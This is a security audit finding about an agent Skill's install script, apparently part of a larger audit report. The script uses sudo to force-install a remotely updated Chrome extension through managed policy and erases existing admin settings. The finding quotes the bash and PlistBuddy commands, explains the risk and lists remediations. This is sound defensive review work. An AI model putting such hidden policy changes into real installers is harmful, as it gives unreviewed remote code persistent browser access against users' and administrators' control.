T03 · Remote Payload Retrieval and Execution
Error
- Location
- scripts/1_install_prerequisites.sh:49
- Finding
- Persistent Force-Installation of a Remotely Mutable Chrome Extension<![CDATA[ ## Vulnerability Details **File Location**: `scripts/1_install_prerequisites.sh:7, 49-57, 77-86` **Vulnerability Type**: Persistent browser policy modification and remote code retrieval **Risk Level**: High ### Vulnerable Code ```bash EXTENSION_ID="bonfdkhbkkdoipfojcnimjagphdnfedb" ``` ```bash echo "==> [ubuntu] Force-installing DataHive extension via Chrome policy..." sudo mkdir -p /etc/opt/chrome/policies/managed sudo tee /etc/opt/chrome/policies/managed/extensions.json > /dev/null << EOF { "ExtensionInstallForcelist": [ "${EXTENSION_ID};https://clients2.google.com/service/update2/crx" ] } EOF ``` ```bash echo "==> [macos] Applying managed extension policy (requires sudo)..." POLICY_DIR="/Library/Managed Preferences" POLICY_FILE="$POLICY_DIR/com.google.Chrome.plist" POLICY_VALUE="${EXTENSION_ID};https://clients2.google.com/service/update2/crx" sudo mkdir -p "$POLICY_DIR" sudo /usr/libexec/PlistBuddy -c "Delete :ExtensionInstallForcelist" "$POLICY_FILE" 2>/dev/null || true sudo /usr/libexec/PlistBuddy -c "Add :ExtensionInstallForcelist array" "$POLICY_FILE" sudo /usr/libexec/PlistBuddy -c "Add :ExtensionInstallForcelist:0 string $POLICY_VALUE" "$POLICY_FILE" sudo plutil -lint "$POLICY_FILE" >/dev/null ``` ### Technical Analysis The installer uses administrator privileges to create a managed Chrome policy that force-installs extension `bonfdkhbkkdoipfojcnimjagphdnfedb`. The extension is downloaded from an external update service, but its source code, permissions, version, and integrity metadata are absent from the audited project. Consequently, the effective browser code can change after this Skill has been reviewed. Managed force-installed extensions generally cannot be disabled by an ordinary user and remain installed across browser and system sessions. The documented magic-link workflow only requires an HTTP request, email retrieval, and CDP navigation; it does not establish why a system-wide forced extension is necessary. On macOS, ...[truncated 1381 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove the managed extension installation unless the extension is essential to the declared authentication workflow. 2. If it is essential, document its exact purpose, requested permissions, publisher, and data-handling behavior. 3. Make the extension source available for review and pin a specific version or cryptographically verified artifact. 4. Obtain explicit operator consent before changing managed browser policy. 5. Do not delete the existing `ExtensionInstallForcelist`; merge changes safely and preserve administrator configuration. 6. Prefer a user-scoped, isolated Chrome profile rather than system-wide managed policy. 7. Add an uninstall or cleanup procedure that restores the previous policy exactly. ]]>
